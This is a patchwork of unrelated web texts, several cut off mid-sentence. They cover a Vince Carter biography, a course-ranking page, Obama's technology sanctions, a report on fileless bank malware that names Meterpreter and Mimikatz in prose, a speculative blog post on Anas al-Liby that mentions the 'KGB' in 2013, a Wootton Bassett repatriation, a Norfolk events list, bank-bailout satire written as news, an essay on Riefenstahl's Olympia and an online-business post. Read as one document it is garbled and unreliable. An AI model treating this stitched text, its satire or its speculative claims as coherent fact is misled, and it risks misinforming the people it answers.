In 2004-2005, Vince became the 26th fastest player in the history of the NBA to reach 10,000 points. In 2012, Carter became the 104th player in the NBA to appear in 1,000 games. In 2013, Carter became the 33rd player in NBA history with at least 8,000 career field goals, the 28th player in NBA history to eclipse the 22,000-point mark, and the 11th player in NBA history with at least 16,000 career triples (1,638). In 2006 and 2007, Vince was named the Continental Work Hard Fly Right Player of the Year. Also in 2007, Vince was inducted into the Florida High School Athletic Hall of Fame for his outstanding representation of Florida while attending Mainland High School in Volusia, County, Florida.
Carter’s most significant accomplishment culminated in May 2001, when he accepted his diploma from the University of North Carolina for completing his degree in African-American Studies.
While Carter is proud of his development and success as a basketball player, he also takes great pride in his work off the court through his Embassy of Hope Foundation, assisting children and their families in Florida, New Jersey and Toronto. Carter established his foundation in 1998 when he was drafted into the NBA. The Embassy of Hope’s slogan, “Believing in Your Dreams”, represents Vince’s own approach to success, while encouraging others who may be less fortunate to see that they too can be a winner. In addition to the yearly scholarship program and support for organizations serving his community, Kai’s Kloset has added a new dimension to the foundation’s philanthropy. Vince’s nine-year old daughter, Kai Michelle, donates clothes she has outgrown for children who have clothing needs. Florida Governor, Charlie Crist, recognized Vince as a Points of Light recipient because of his philanthropic endeavors.
A budding businessman, Vince is or has been endorsed during his NBA career by such corporations as Nike, Wilson, Gatorade, EA Sports, T-Mobile and others. He is the President of Visions In Flight, Inc., a for-profit corporation, and Embassy of Hope Foundation, Inc., a non-profit charity. Vince’s most recent undertaking is Vince Carter’s, a restaurant in Daytona Beach that opened January 19, 2010, where he is the co-owner.
Vince’s efforts to improve the quality of life for parents and their children have been recognized by the Children’s Home Society prompting the organization to name him the 2000 “Child Advocate-of-the-Year”. Volusia County Schools named the gymnasium at Mainland High School the Vince Carter Athletic Center honoring his gift to the district of 2.5 million dollars. In addition, Vince and his mother, Michelle Carter-Scott, donated $1.6 million to the Stewart-Marchman Foundation to help build a 100-bed treatment facility for alcohol and drug addiction recovery named “The Vince Carter Sanctuary”. For his continuing efforts to influence positive change and help others, Stewart-Marchman-Act and NASCAR honored Vince at a dinner for his philanthropic endeavors. He was the honorary pace car driver for the Coke Zero 400 at Daytona Beach International Speedway. Most recently, Volusia County declared Sunday, January 10, 2010 as Vince Carter and Michelle Carter-Scott Day.
His mother, Michelle Carter-Scott, and his father, Edgar Scott support him in all of his efforts. Vince has one daughter, Kai Michelle Carter, and three siblings, Chris, Jeff, and Alicia.Mobile and Cloud Software Dev (496) Piece of Cake
Mobile and Cloud Software Dev (496) Piece of Cake
Intro to Computer Networks (372) Piece of Cake
Intro to Computer Networks (372) Piece of Cake
Intro to Databases (340) Piece of Cake
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Intro to Usability Engineering (352) Piece of Cake
Intro to Usability Engineering (352) Piece of Cake
Computer Architecture and Assembly (271) Piece of Cake
Computer Architecture and Assembly (271) Piece of Cake
Combined Intro to CS (165) Piece of Cake
Combined Intro to CS (165) Piece of Cake
Intro to CS 2 (162) Piece of Cake
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Intro to CS (161) Piece of Cake
Rank the Difficulty of Each Class
T
Javascript is required for this site to function, please enable.Last week, John Mayer announced that he’s put down the bottle… and picked up a joint instead. “I put [marijuana] where drinking used to go,” the 39-year-old musician revealed to Rolling Stone. “The quality of life has gone up considerably. Drinking is a fucking con. It always felt wrong.”
Mayer isn’t the first person to consider switching out his vices: Anyone who’s been drinking regularly for a decade or more will admit that booze has its downsides — namely, that it’s unhealthy, fattening, expensive, addictive, and well, hangovers are an abomination.
But is Mayer actually better off replacing alcohol with marijuana, or is he just trading one unhealthy habit for another? We compared the major cons of each to find out.
Cost
It’s tough to compare |
to help authoritarian regimes in Iran and Syria suppress their people.
"Technologies should be in place to empower citizens, not to oppress them," Obama said on Monday at a speech at the Holocaust Memorial Museum in Washington.
Obama was introduced at the museum by Holocaust survivor Eli Wiesel. Obama told Wiesel: "You show us the way. If you cannot give up, if you can believe, then we can believe."
The president said the White House's new "atrocities prevention board" will meet for the first time Monday. He said the board's aim was to better prevent and respond to mass atrocities and war crimes.
Obama said the "seeds of hate" had too often been allowed to flourish. "Too often the world has failed to stop the massacre of innocents on a massive scale," said the president.
Obama's speech came as the US faces calls to orchestrate an international solution to the deadly crackdown on dissidents in Syria. "National sovereignty is never a license to slaughter your people," Obama said.
In the executive order the president said the "malign use of technology" was facilitating human rights abuses in Iran and Syria and was a threat to the national security of the US.
The administration announced new sanctions, including a visa ban and financial restrictions, against a range of Syrian and Iranian agencies and individuals.
The Syrian General Intelligence Directorate, the Syriatel phone company and Ali Mamluk, the director of Syria's general intelligence services, are all subject to the new sanctions. In Iran, the sanctions target the Islamic Revolutionary Guard, the Iranian Ministry of Intelligence and Security, the Law Enforcement Forces of the Islamic Republic of Iran, and Datak Telecom.
While social media and other technologies have been cited as aiding rebellions in countries including Libya and Egypt, other regimes have used technology to track dissidents.
The order blocks people associated with the supply and operation of these technologies from entering the US and seizes and property or assets they have in the US.
Much of the technology used by oppressive regimes was supplied by US firms. Last year the Wall Street Journal reported that McAfee, part of tech giant Intel, had provided content-filtering software used in Bahrain, Saudi Arabia and Kuwait.
A White House statement said the executive order "authorises sanctions and visa bans against those who commit or facilitate grave human rights abuses via information technology … related to Syrian and Iranian regime brutality."
"This tool allows us to sanction not just those oppressive governments, but the companies that enable them with technology they use for oppression, and the 'digital guns for hire' who create or operate systems used to monitor, track, and target citizens," the White House statement said.
Writing on Foreign Policy, former secretary of state Madeleine Albright said the atrocities prevention board was a "clear-eyed and pragmatic attempt to expand our government's toolbox to meet the challenges posed by tyrants who pose an extraordinary threat to their civilian populations."
She continued: "This toolbox is about more than sending in the marines - it is about better intelligence, more focused preventive diplomacy, and the smarter use of coercive pressures that might deter would-be perpetrators from employing mass violence to achieve their political goals."
Aaron David Miller, public policy fellow at the Woodrow Wilson International Center for Scholars and an advisor to six former secretaries of state, said the move was "incremental".
"Obama is making a virtue out of necessity with respect to Syria," he said. "It's an incremental step, an action to buy more time. If you can't pursue a military solution, you might as well."
In terms of Iran, Miller said the move would help build some pressure ahead of talks in Baghdad next month aimed at resolving its nuclear dispute with world powers.Son of Stuxnet: "invisible," memory-resident malware stalks the world's banks
Duqu 2.0 is a strain of clever, nearly undetectable malware, derived from Stuxnet, that stays resident in its hosts' memory without ever writing persistent files to the system's drives.
Kaspersky Lab is about to publish a new report about the prevalence of file-less malware in 140 known banks and other firms in 40 countries -- and since this kind of malware is so hard to detect, Kaspersky estimates that the true infection rate is much higher.
Kaspersky isn't sure how the malware spreads.
The researchers first discovered the malware late last year, when a bank's security team found a copy of Meterpreter—an in-memory component of Metasploit—residing inside the physical memory of a Microsoft domain controller. After conducting a forensic analysis, the researchers found that the Meterpreter code was downloaded and injected into memory using PowerShell commands. The infected machine also used Microsoft's NETSH networking tool to transport data to attacker-controlled servers. To obtain the administrative privileges necessary to do these things, the attackers also relied on Mimikatz. To reduce the evidence left in logs or hard drives, the attackers stashed the PowerShell commands into the Windows registry. Fortunately, the evidence on the domain controller was intact, presumably because it hadn't been restarted before Kaspersky Lab researchers began their investigation. An analysis of the dumped memory contents and the Windows registries allowed the researchers to restore the Meterpreter and Mimikatz code. The attackers, the researchers later determined, had used the tools to collect passwords of system administrators and for the remote administration of infected host machines.
A rash of invisible, fileless malware is infecting banks around the globe
[Dan Goodin/Ars Technica]The Disappearing, Reappearing Terrorist
8th October 2013
The Pentagon's predictable response to the attack on the Westgate Shopping Centre in Nairobi has been a pair of special forces raids in Africa. One was a Navy Seal strike in the Somali town of Barawe that sought to capture or kill Al Shabaab leader Ahmed Abdi Godane, though this mission failed. The other operation took place in Tripoli where Nazih Abdul-Hamed al-Ruqai, better known as Anas Al Liby, was captured by commandos presumed to be Delta Force. There are many reasons to question these stories, not least of which that Al Liby has reportedly been captured and in custody for decade.
I first wrote about Al Liby 5 years ago looking at him as a probable MI6-aided Islamist. He was Al Qaeda's 'computer expert' who in the early 1990s travelled around Africa scouting possible terror targets for Osama Bin Laden. He was trained and accompanied by CIA triple agent Ali Mohamed and according to court testimony even helped take reconnaissance photographs for what would become the 1998 African embassy attacks. As a result US authorities have been trying to get hold of him for nearly 15 years.
Meanwhile, in the early-mid 1990s he joined LIFG, the Libyan Islamic Fighting Group also known as Al Muqatila. The group were trying to kill or overthrow Col. Gaddafi, a feat they finally accomplished in 2011 with the assistance of NATO. According to 'former' MI5 'whistleblower' David Shayler, MI6 had funded an attempt on Gaddafi's life by LIFG in early 1996, an attempt that failed. LIFG members fled Libya in the wake of the failed assassination attempt, setting up shop in the UK, including Anas Al Liby. They published their newsletter from an office in London and for years after the embassy bombings lived in the UK freely.
That changed with set of police raids on addresses in Manchester in May 2000. According to an old Observer report Al Liby evaded capture, though the Guardian is now adding the detail that he was questioned by British police in 1999 but not charged. The article also notes how, 'Liby's skill in surveillance and special operations made him irreplaceable, Benotman said. Liby had been trained by an Egyptian-American jihadi fighter who had served with the US Green Berets.' Of course, they do not mention that this Egyptian-American jihadi was also a CIA agent and FBI informant, and that his name is Ali Mohamed.
After the raids Al Liby left the UK, and following the 9/11 attacks LIFG were proscribed (banned) as an organisation by the UN and the US State Department, and then by UK authorities in 2005. Al Liby himself was put on the FBI's most wanted list where he stayed until a few days ago when he was captured outside his home in Tripoli. The websites of the FBI and the State Department still list him as wanted and at large - I suppose it takes a few days to remember to update these things.
Making the whole story weirder is that as my prior article details, Al Liby was reported captured in 2002, though the reports contradicted each other on when he was captured (January, February or March) and where (Egypt, Sudan or Afghanistan). An Amnesty International document from 2006 lists Al Liby as one of several 'Individuals about whom there is some evidence of secret detention by the United States and whose fate and whereabouts remain unknown', detailing his reported capture in Sudan in February 2002. The report also spells one of Al Liby's aliases quite differently to recent media coverage - Nazih Abdul Hamed al-Raghie vs Nazih Abdul-Hamed al-Ruqai, further complicating matters for researchers.
Exactly what will happen to Al Liby now is unclear. Given that his alleged crimes - involvement in the 1998 embassy bombings plot - took place prior to the Military Commissions Act and the Patriot Act, it probably isn't legal to try Al Liby via a military commission. He had no role in 9/11, and whether he was still a member of LIFG when they reportedly joined forces with Al Qaeda in late 2007 is not known. As such, he should be tried in a conventional criminal court with all the due process and protections of any ordinary alleged criminal.
Of course, he is a 'terrorist' and also quite probably an MI6 asset for at least part of his terrorist career, so his chances of an open court trial are pretty low. Furthermore, the US authorities don't want to open up the can of worms that is the West's curiously flexible relationship with LIFG. In the mid-late 1990s they were our friends as we tried to oust Gaddafi. After 9/11 they were the enemy, though when Libyan intelligence chief Musa Kusa handed over a list of LIFG members living in London nothing was done. As Britain cosied up to Gaddafi they also added LIFG to their list of banned terror groups, in exchange for Libya playing a role in the torture of 'terror suspects'. Then something changed, Gaddafi was the enemy again and LIFG were among the jihadis that NATO used to get rid of him.
What these two raids represent is an attempt to reconstruct the 'war on terror' narrative once again in the wake of the failure of those who wanted to see NATO invade Syria. After 9/11 the predominant narrative was that there was a global paramilitary Islamist network protected by the governments of nations like Afghanistan and Iraq. The narrative gradually changed, the popular view of Al Qaeda became more vague and decentralised, and the main enemy became rogue states, particularly those with WMD of some kind. This fluctuation between state enemy images and stateless enemy images dominated the Cold War and has continued as the battle lines have been redrawn.
This process of shifting the 'war on terror' narrative culminated with the war in Libya, where one of the last Middle Eastern leaders to resist NATO's imperial tyranny was removed from power by the very same Islamists who a decade earlier were NATO's primary enemy image. The same Islamists were then encouraged and helped to go to Syria to create a civil war there. Now that the KGB have slammed the door shut on any escalation of the failed proxy civil war plan in Syria, NATO have been forced to back off. Right on schedule we got another major terrorist attack that shifted the geographic and geopolitical focus and the terrorists who were our freedom fighters in Libya and Syria are now terrorists again. This was followed by a small scale but utterly lawless pair of commando strikes.
The moral of the story is not that one man's terrorist is another man's freedom fighter, but that in NATO's case one man's terrorists are the same man's freedom fighters.
Related Pages
The Libyan
Samantha Lewthwaite: Wanted Dead or Alive
ClandesTime 003 - Massacre in KenyaPlease turn on JavaScript. Media requires JavaScript to play. Advertisement The bodies of six UK soldiers - five of whom were shot by a "rogue" Afghan policeman - have passed through the streets of Wootton Bassett in Wilts. Guardsman Jimmy Major, Warrant Officer Darren Chant, Sgt Matthew Telford, Cpl Steven Boote and Cpl Nicholas Webster-Smith died in last Tuesday's incident. The coffins arrived at nearby RAF Lyneham, along with that of Sjt Phillip Scott, who died in a blast on Thursday. A private chapel ceremony for families took place at the RAF base. Hundreds of people lined the streets to pay silent respects, as has become customary when fallen service personnel are returned.
AT THE SCENE Paul Deal, BBC News A grey mist hung over the market town of Wootton Bassett and seemed to match the mood of the hundreds of people huddled against the November chill and drizzle beneath umbrellas. The veterans who make up the town's 114-strong branch of the Royal British Legion could have been excused if they had stayed at home by the fire on such a miserable afternoon. But they had a solemn duty to perform - to salute the latest victims of the conflict in Afghanistan on their final journey. It was three members of the Legion who saw a hearse pass through the town without ceremony a couple of years back. The branch decided that the return of the nation's fallen service people should be solemnly marked. Today, the 98th such repatriation is taking place. People have come from across the country, old soldiers and civilians alike, shocked and saddened by the circumstances of the men's deaths. Wootton Bassett sheds tears Meanwhile, a senior army commander has said mentoring Afghan police is the "right strategy". Six other British personnel and two Afghan police officers were injured when the five men were shot dead at a national police checkpoint in the Nad Ali district of Helmand province. The gunman fled the compound afterwards and remains at large. WO1 Chant, 40, from east London; Sgt Telford, 37, from Grimsby, Lincolnshire; and Guardsman Major, 18, from Cleethorpes, Lincolnshire, were from the Grenadier Guards. Territorial Army volunteer Cpl Boote, 22, from Birkenhead, Merseyside, and Cpl Webster-Smith, 24, of Brackley, Northamptonshire - formerly of Pembrokeshire - were from the Royal Military Police. Sjt Scott, 30, of 3 Battalion The Rifles, was born in Malton, North Yorkshire, and lived in Edinburgh. He died during an explosives clearance operation in Sangin, Helmand. Maj-Gen William Cubitt, commander of the Household Division, attended the repatriation ceremony. He said there were "cold blooded" aspects to the case. He said: "In Afghanistan we're now doing a very important and very difficult task of training Afghan police and this is obviously absolutely crucial to the strategy and training the Afghan Army. "So troops are working closely with the army and police and there are risks attached to that." David Smith, 83, travelled to Wootton Bassett from South Ham near Basingstoke in Hampshire, and has done so for 14 previous repatriations. Hundreds of people gathered in Wootton Bassett to pay respects to the six men His wife Joyce said: "It is a 100-mile round trip but David served in the Army during the Second World War and in Singapore with the RAF so he feels he needs to be here. "He just decided one morning that he was going to come for the repatriation of eight soldiers and has been here ever since to respect them coming through for all that they have done. "We are here to support the families. If someone needs a shoulder to lean on, we are there for them and to recognise what is going on in the world." Brian Freeth, 72, standard bearer for the South Staffordshire 4 Group of the Royal British Legion, served in Suez between 1955 and 1957. He said: "It hits you more today because there are so many coming back. "What happened to those five lads was sheer murder. When I am standing over the road with my standard high and I see all those families I cannot begin to imagine what they feel."
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StumbleUpon What are these? E-mail this to a friend Printable versionThursday
5:30-8pm: Start your weekend off with music from Tiki Bar Band at the Towne Place at Greenbrier Summer Concert Series.
5:30-8:30pm: You’ve pocketed that hard earned money, now spend some at the After Hours Vending event at Knuckles N Knots in Chesapeake. LLR fans and lovers of chair massages must attend.
5:30-9pm: Grab your ticket for the Downtown Norfolk Wine Walk.
6-9pm: Purchase your spot for the 2017 CoVa Best of Party at Half Moone.
6-10:30pm: Head to the Oceanfront for the Family Great Adventure Series and stay to watch “Zootopia.”
6:30pm: Enjoy an evening at Town Center as Fond Memories plays.
6:30-7:30pm: School might be out for summer, but you can attend Free Skool at the Suffolk Public Library.
6:30-8:30pm: Share your thoughts and your voice during the Community Meeting at Percolator in Norfolk.
6:30-9pm: See the Good Life Band during Sunset Thursdays at Portside.
7-9pm: Test out your drawing and imagination skills at Win, Brews, or Draw at Coelacanth Brewery.
7:30-11pm: Head to Open Mic Night at Commune NFK.
8pm: Don’t miss Beres Hammond at The Norva.
8pm-1am: Hear The Day of the Beast, The Pestilence Choir, and Murdersome at Charlie’s Café. Bring your holy water and blessed crosses for protection.
Friday
3-10pm: Bring your hunger to the El Taco Loco O’Connor Food Truck Challenge.
4-5:30pm: Grab your kids and head to the Push Comedy Theater for this family-friendly, FREE event, The Pullers Pre-teen Murder Mystery Graduation Show. Break a leg Andrew, Will, and Oscar!
4-10pm: Stop by Rip Rap Brewing to check out their new release Old Salt Gose with Peaches.
5-11pm: Anyone 21 and up can join in on the fun at Hunt Club Farm during the Third Annual Blue Moon Full Moon-a-Palooza.
5:30-8pm: Enjoy music from Dustin Furlow at Taste on Shore Drive.
6-9pm: Enjoy music by BJ Griffin & GG during Fridays @ the Fountain at City Center at Oyster Point.
6-9:30pm: Head to Ocean View Beach Park for the TGOV Summer Concert Series featuring TFC Band.
6-10pm: Don’t miss the Midsummer Fantasy Festival at Town Point Park.
6:30pm: Things will be pretty awesome as Pretty Ugly entertains at Town Center.
6:30-8pm: One of my favorite events is back! Don’t miss the Strange Happenings Tour at Elmwood Cemetery in Norfolk. Donations for this event support the Norfolk Society for Cemetery Conservation.
7pm: Catch Saint Motel at Waterside District.
7-10pm: Hear music from Powers & McLaughlin at Tradition Brewing in Newport News.
7:30pm: See GENERATOR, 8 Inner Gates, Kill The Mime, and Patient Zero at The Norva.
8pm: Get your tickets to see the Katt Williams Great America Tour at the Hampton Coliseum.
8pm-2am: Head to Charlie’s Café to hear Carriage, ATT, No/Mas, Uncle Buck, Amara, and Slaghead.
9pm-2am: Join in on a Foam Party at The Wave.
10-11:30pm: Get your late-night laughs during Harold Night at the Push.
10pm-2am: Make your way to Commune NFK for Galaxy Dynamite, Stereobloom, and more.
Saturday
10am-12pm: Check out the Suffolk Health & Fitness Fair at the Norfolk Suffolk Public Library.
10am-4pm: Head to Toast for the Norfolk Vinyl Record Swap.
11am-2pm: Make your weekend good by doing some good during the Cemetery Preservation Workshop at the Historic St. Luke’s Church in Smithfield.
11am-2pm: Celebrate the beautiful felines during International Tiger Day at the Virginia Zoo.
12-9pm: Try the Stone of Charon during its bottle release at Reaver Beach Brewing.
12-10pm: Enjoy the release of NeverMore Imperial IPA at Coelacanth Brewing.
12-10pm: Check out the Mermaid’s Scorn Release at Benchtop Brewing.
2-5pm: Attend the Gallery Talk and Film: Monir Shahroudy Farmanfarmaian at the Chrysler Museum of Art.
6:30pm: Hear Delta Daggers at Town Center.
7pm: Enjoy the movie “Frozen” in the heat of Portsmouth Park.
7-9pm: Mountaintide will entertain at Starving Artist Café.
7-10pm: With maximum effort, attend Minimal Effort Art Exhibition at Cure Coffeehouse.
7pm-1am: Grab your gas masks and head to Shaka’s Live to see Agent Orange.
8-9:30pm: The theater is alive with the sound of music during Musical Riot: The Musical Short Form Improv Show at the Push.
8pm-1am: Attend the Gallery of the Dark Arts III at RiffHouse Pub in Chesapeake.
8pm-1:30am: Head to Charlie’s American Café for FREE SPIN: DJs & Board Games.
9:30pm-12:30am: Enjoy The Irish Drinking Band at Brown Chicken Brown Cow in Hampton.
Sunday
10:30-11:45am: Stretch, drink, and stretch some more during Hoppy Yoga at Green Flash.
2-5pm: Feast at the 10th Annual Blue Crab Festival with the South Norfolk Ruritan Club.
6:30pm: Enjoy music from Symphinic Artistry at Town Center.
7-9pm: Hear The Khedive Notables Dance Band during Big Band on the Bay at Ocean View Beach Park.
All Weekend Long
Thursday through Sunday and beyond: Check the entertainment calendar for live music offered at the Oceanfront.
Thursday through Saturday and Beyond: See “Second to Nun: A New Musical” at Zeiders American Dream Theater. An AltDaily review of the show is available here
Friday through Sunday: See “GREASE” at the TCC Roper Arts Center presented by The Hurrah Players.
Friday through Sunday and beyond: See “Side Show” at the Little Theatre of Virginia Beach.
Want your awesome event listed in the Reasons? Send information about your event to mermaidcitygal@gmail.com with the event date in the subject line. Links to event information online are preferable.
Facebook CommentsTHE government is to invest £500bn of your money in British banks so they can lend it back to you with interest.
The historic move is being hailed as a lifeline for the financial system as long as nobody asks too many questions.
Julian Cook, chief economist at Corbett and Barker, said: "The government will give your money to the banks so the banks can start lending you that money, probably at around 7% APR.
"Thanks to all the interest you're paying on your own money, the banks will make billions of pounds again and normality will be restored.
"After a few years of this the government will cash in the bank shares it bought with your money and use the profits to build a huge fucking dome somewhere."
He added: "In case you hadn't already worked it out – the entire global financial system is predicated on the assumption that you're an idiot."
Chancellor Alistair Darling said the decision had been taken in tandem with the banking industry, adding: "They used a lot of dirty words I'd never heard before and one of them had an angry looking dog."
Meanwhile, Emma Bradford, a sales manager from Bath, said: "Why doesn't the government just give my money to me so I can buy stuff from businesses who will then make a profit and put it in a bank?"
But Mr Darling insisted: "Shut up."In Stephen Hopkin’s recent Jesse Owens biopic, Race, Owens (Stephan James) is about to compete in the 200m sprint in the 1936 Berlin Olympics, and Leni Riefenstahl (Carice van Houten) is about to film him, when Hitler’s propaganda minister, Joseph Goebbels, insists that the cameras are switched off. He doesn’t want the world to see Germany’s fittest young Übermenschen being left in the dust by an African-American. But Riefenstahl doesn’t listen. She is determined that her Olympic documentary will be a work of timeless truth and beauty, whether Hitler approves or not.
Is that really what happened? It’s true that Riefenstahl’s two-part documentary, Olympia, includes Owens’ victories over his Aryan competitors, and it’s true that it was acclaimed as a masterpiece that revolutionised the way sport was depicted on screen: in 1955, a mere decade after World War Two ended, a group of Hollywood directors chose it as one of the 10 best films ever made. But cinema historians still debate whether Riefenstahl was defying Goebbels and Hitler, 80 years ago this summer, or whether she was doing exactly what they wanted.
There’s a lot less ambiguity about Riefenstahl’s previous film. Helene Bertha Amalie Riefenstahl’s most famous accomplishment is Triumph of the Will, a horribly gripping account of the Nazi Party’s 1934 Nuremberg rallies. The film is so dynamic, so compelling, so grand and ambitious, that it ranked at number 19 in a 2014 Sight & Sound magazine poll of cinema’s best documentaries. It is also, on the other hand, a monumental piece of Nazi propaganda. Opening with a caption trumpeting “German rebirth”, Triumph of the Will goes onto imply that Hitler is nothing less than the godlike saviour of Germany. Not that Riefenstahl ever admitted that this was what she intended. “Everything in it is true,” she later protested. “And it contains no tendentious commentary at all. It is history. A pure historical film.
‘Total control’
The Führer was so delighted by this “pure historical film” that he gave Riefenstahl an even bigger, more expensive commission. Olympia Part One: Festival of the Nations and Olympia Part Two: Festival of Beauty wouldn’t just chronicle Berlin’s Olympics, they would be a meditation on everything the Games stood for, and everything Germany could achieve. “Olympia broke the mould of Olympic films in many ways,” writes David Goldblatt in his new book about the Olympics, The Games. “First, Riefenstahl had a degree of active support from the organizers... that no other film-maker had acquired. She had total access and total control, and an immeasurably large crew and budget. Second, in terms of technological and cinematic sophistication, there was no comparison.”
There are no delays and no disappointments, and no moments which aren’t entertaining
Part One begins with a mystical glide through the smoke-wreathed ruins and statues of ancient Greece. The statues then metamorphose into naked athletes and dancers – one of whom is Riefenstahl herself – and the film floats through time and space until it reaches the lighting of the Olympic cauldron in Berlin – the torch relay was invented for the 1936 Games. After the colossal opening ceremony, Olympia speeds through the events in and out of the stadium, flitting from highlight to spectacular highlight. The momentum never flags. The enthusiastic commentary and Herbert Windt’s stirring music never stop. In the sunlit idyll which Riefensthal creates for the viewer, the most logistically complicated pageants – whether they are political rallies or sporting jamborees – move like clockwork, with no delays and no disappointments, and no moments which aren’t entertaining. Alfred Hitchcock once said, “What is drama but life with the dull bits cut out?” And on those terms, Riefensthal can stand alongside any dramatist ever to work in cinema.
The film’s one glaring flaw is that she isn’t very interested in the Games’ competitive element. She doesn’t build much tension over who is going to win any of the events. Her only concern is to make them all uniquely cinematic, via slow-motion sequences, tracking shots, an astonishing number of different camera angles, and some extreme close-ups which were filmed afterwards and then spliced into the competition footage. This radical aesthetic approach culminates in a mesmeric high-diving montage shot by Hans Ertl. What begins as a straightforward record of the competitors’ dives becomes more abstract and ecstatic until it is more like an aerial ballet, or a firework display. Riefenstahl even runs one segment backwards, so that a diver soars out of the water and into the air.
Knowing what we do about Nazi Germany, the film’s obsession with race is troubling
Whenever you start to be hypnotised by Olympia, though, you are jolted back to reality by a shot of Hitler, up in the stands, clapping and cheering when the Germans are doing well, drumming his fingers on his uniformed knee when they aren’t. These candid interludes, say Riefenstahl’s detractors, were a concerted ploy to humanise a brutal dictator. But it’s an accusation that’s impossible to prove. To the untrained eye, it just looks as if Hitler is being Hitler.
Besides, in Riefenstahl’s defence, her representation of Owens is entirely positive. Repeatedly described by the commentator as “the fastest man in the world”, Owens is shown not just winning four gold medals, but beaming at the camera afterwards. No other athlete in the film makes anywhere near as much of an impression. Nor is Owens the only black competitor to feature in Olympia. Knowing what we do about Nazi Germany, the film’s obsession with race is troubling: the commentator notes that the line-up in the 800-metre final has “two black runners against the strongest of the white race”. But this fixation has its subversive aspect. The “black runners” – John Woodruff and Phil Edwards – finish the 800-metres in first and third place. It’s hard to see how this sequence could have served the Nazi cause.
Game theory
As much as Olympia glorifies Germany, it can just as easily be read as a celebration of multi-racial America. Again and again, Riefenstahl focuses on a US victory. And on two separate occasions, she superimposes a fluttering Stars and Stripes on a shot of a handsome, smiling, American medal-winner. She may have wanted to impress Hitler, but she also had her eye on a career in Hollywood.
Olympia’s most Nazi-like attributes are those which are intrinsic to the Olympics
She didn’t get one. Just after Riefenstahl arrived in New York in November 1938 to promote Olympia, news of the Kristallnacht pogroms reached the US: more than 1,000 synagogues throughout the Reich had been burnt in one night, thousands of Jewish businesses had been vandalised, and 30,000 Jews had been taken to concentration camps. After Riefenstahl declared to the American press that she didn’t believe these reports, no studio boss in Hollywood would see her – the exception being Walt Disney. She returned to Germany, where she started work on an epic drama, Lowlands, using Gypsy extras who, it was claimed in a 2002 lawsuit, were sent to Auschwitz once filming was finished. (The case was dropped when Riefenstahl retracted a public statement claiming all the extras had survived the War.)
Riefenstahl’s long life after 1945 was a strange one. She wasn’t convicted of being a Nazi, and she regularly sued anyone who said otherwise, but she couldn’t wash off the stink of Hitler. Lauded as one of the greatest directors ever to pick up a megaphone, she only released one more film, Underwater Impressions, in 2002.. She died a year later, aged 101.
Riefenstahl’s biographers have since come to agree that she had a closer relationship with Goebbels and Hitler than she liked to claim. But it would be wrong to decry Olympia as a fundamentally Nazi film. It isn’t. In fact, its most Nazi-like attributes are those which are intrinsic to the Olympics: the fetishising of physical perfection, the evocation of a mythical ancient past, the division of the world into separate, competing, flag-waving countries. The uncomfortable truth is that Olympic imagery is never very far away from Nazi imagery, whether Riefenstahl is involved or not.
If you would like to comment on this story or anything else you have seen on BBC Culture, head over to our Facebook page or message us on Twitter.
And if you liked this story, sign up for the weekly bbc.com features newsletter, called “If You Only Read 6 Things This Week”. A handpicked selection of stories from BBC Future, Earth, Culture, Capital, Travel and Autos, delivered to your inbox every Friday.Online business is all about action.
Let’s skip the fluffy intro and get right into it …
Why do you want to start an online business?
Before you begin kickin’ ideas for your grand, online empire let’s think of this question for a moment because it’s important to understand the why before you work on the how.
The following is the general idea of why people want to start an online business:
Make money online so they can leave their 9-to-5 job
Be able to travel the world with just a laptop
Make incredible income because of this whole “online thing”
All of these are fine and dandy but they only address the end goals.
Thinking only along these terms make us forget that there is actual work involved to accomplish these goals.
It’s easy to get consumed by these ideas.
It gives us a warm feeling to think that we’ll have them one day. But, when it comes time to get into the hard work – we start to slip up.
We become afraid of the effort and potential failure.
Rather than painting you a picture of working on the beach, traveling, leaving your work and these stupid ‘push button’ systems. I want to make you question why you want to start a business, first, because, I believe, it will help you at every junction in your quest to start one.
There are bigger questions that should be on your mind:
What’s the best platform at my disposal to reach my target audience?
Who is the type of person that will buy the products I have to offer?
How do I build a business that works for me and doesn’t create another job
What can I do to deliver the most amount of value to my end user
There are thousands of scams that you’ll run into when you start.
You often get fooled into believing that it’s as simple as flipping on a switch, pressing a button or installing a piece of software.
You get bombarded by individuals that share their success which, in some cases, are just smoke and mirrors. After all, everyone can make money online right?
Here’s the thing though: Not everyone is going to create a successful business on their first go.
What I’d like to teach you, over the course of this post, is this:
It’s better to understand the process of building a business rather than trying to replicate success from others.
It’s important to build systems which can be applied to your ventures based on past experiences rather than buying into the latest, hyped product launch.
It’s important to learn how to develop an idea that’s profitable only after research rather than starting and stopping just because you read something thrilling online.
This leads us to the first step in starting an online business…
How to Develop a Profitable Idea for your Online Business
You probably have thousands of great ideas for your online business.
Maybe you have existing skills that you’d like to take online as a freelance service? Maybe you have a wealth of information locked away in that noggin’ of yours that could become an amazing information product.
Hold up.
The problem with the web is as follows:
Every idea has a viable opportunity to make you money online.
An idea doesn’t necessarily mean things will come to launch or be profitable.
Yes, the platforms that we have been given through the web lets us connect with markets that are ready to buy what we have to offer but this will never come to light. There is still a great deal of work and research that needs to be done so we can actually create an offer and align to the correct type of people that want to buy.
The task of head of you is to not just develop an idea that looks good on paper but is one that people can get behind and exchange value (aka. Buy from you).
The good thing is that you have multiple tools at your disposal:
An existing community which you may tap into if you’re a website owner
Free tools to research markets online such as one’s provided by Google
Social networks to research problems that users are facing and to gain valuable feedback
The goal is not to take a shot in the dark but to make a calculated and logical decision on whether your idea is viable in nature.
5 Simple Methods to Develop a Profitable Online Business Idea
When you work through this section, remember two things:
Will someone buy what I have to offer? Is this just a “project” or an actual “business”
You can have thousands of ideas, as I’ve said, but it doesn’t necessarily mean they’re the best option for you at this junction of starting an online business.
Equally so, you want to make sure you understand that there is a monumental difference between treating your idea as a project and a business. Answer both of these as you work through the following examples:
Method 1: Use what you now
The easiest way to develop an idea for your own online business is to examine what knowledge you currently possess. Each of us has at least one skill that may be viable as a business venture.
If we can find others that need our skills than we have opened up the opportunity to offer freelance services, information products, coaching and more.
More importantly, since we already have this knowledge we can easily transform it from memory and experience into actual products or services to offer to potential clients or customers.
For example, you could start an information-based business based on:
Your skills in video production or other high-end, in |
kids — Colorado’s Matt Duchene and Nathan MacKinnon — who help him strive to become better, even in this, his 10th year in the league. The three talented forwards work out together during the off-season.
“It’s because of them,” Crosby said. “Especially a guy like Nate. A young kid like that, seeing how hard he works and how hungry he is, it’s impressive.
“I’m not old by any means, but it’s nice to have a guy like that to train beside you because he’s so hungry and eager. That’s the kind of thing that pushes you.”
MIDDLE MAN NO MORE
Malkin isn’t in the middle anymore.
